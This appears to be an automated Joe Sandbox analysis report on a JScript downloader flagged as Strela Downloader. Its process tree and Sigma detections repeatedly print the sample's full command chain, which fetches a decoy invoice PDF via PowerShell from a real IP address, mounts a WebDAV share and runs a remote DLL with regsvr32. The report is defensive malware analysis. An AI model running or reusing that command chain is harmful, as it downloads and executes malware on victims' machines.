Edit tour

Windows Analysis Report
193581927228935729.js

Overview

General Information

Sample name:	193581927228935729.js
Analysis ID:	1588534
MD5:	35aad6e6a94f765e5d2952df2811cf1d
SHA1:	b977523f036aa204be67af10ec74b1130fce61c3
SHA256:	4481765ed48bc713aa02aaabdd75a87096dafa4dace58d47524308d2532fdab1
Tags:	jsStrelaStealeruser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 7116 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\193581927228935729.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 5692 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\8846208659222.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 4088 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 5668 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 5840 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 1076 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 2300 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2092 --field-trial-handle=1540,i,8864891297406936560,2339412048056510617,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 2164 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 5972 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 6516 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 7116	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\8846208659222.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 5692, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 5668, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\8846208659222.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 5692, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 5668, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\193581927228935729.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\193581927228935729.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 1028, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\193581927228935729.js", ProcessId: 7116, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 193.143.1.205, DestinationIsIpv6: false, DestinationPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 5972, Protocol: tcp, SourceIp: 192.168.2.5, SourceIsIpv6: false, SourcePort: 49705

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\8846208659222.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\8846208659222.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\193581927228935729.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7116, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\8846208659222.dll, ProcessId: 5692, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\8846208659222.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\8846208659222.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\193581927228935729.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7116, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\8846208659222.dll, ProcessId: 5692, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\8846208659222.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\8846208659222.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\193581927228935729.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7116, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\8846208659222.dll, ProcessId: 5692, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\8846208659222.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\8846208659222.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\193581927228935729.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7116, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\8846208659222.dll, ProcessId: 5692, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\8846208659222.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\8846208659222.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\193581927228935729.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7116, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\8846208659222.dll, ProcessId: 5692, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\193581927228935729.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\193581927228935729.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 1028, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\193581927228935729.js", ProcessId: 7116, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\8846208659222.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 5692, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 5668, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 2164, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 5972, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 632, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 6516, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 2164, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 5972, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\8846208659222.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\8846208659222.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\193581927228935729.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7116, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\8846208659222.dll, ProcessId: 5692, ProcessName: cmd.exe

Suricata Signatures

ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T02:10:19.952606+0100	2859560	1	Malware Command and Control Activity Detected	192.168.2.5	49704	193.143.1.205	80	TCP

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T02:10:22.213345+0100	1810005	1	Potentially Bad Traffic	192.168.2.5	49705	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T02:10:19.952606+0100	1810000	2	Potentially Bad Traffic	192.168.2.5	49704	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 193581927228935729.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 193581927228935729.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2859560 - Severity 1 - ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET) : 192.168.2.5:49704 -> 193.143.1.205:80
Source: Network traffic	Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.5:49705 -> 193.143.1.205:8888

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 01:10:19 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 4e 6f 6e 65 20 2f 6

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49705

Source: global traffic

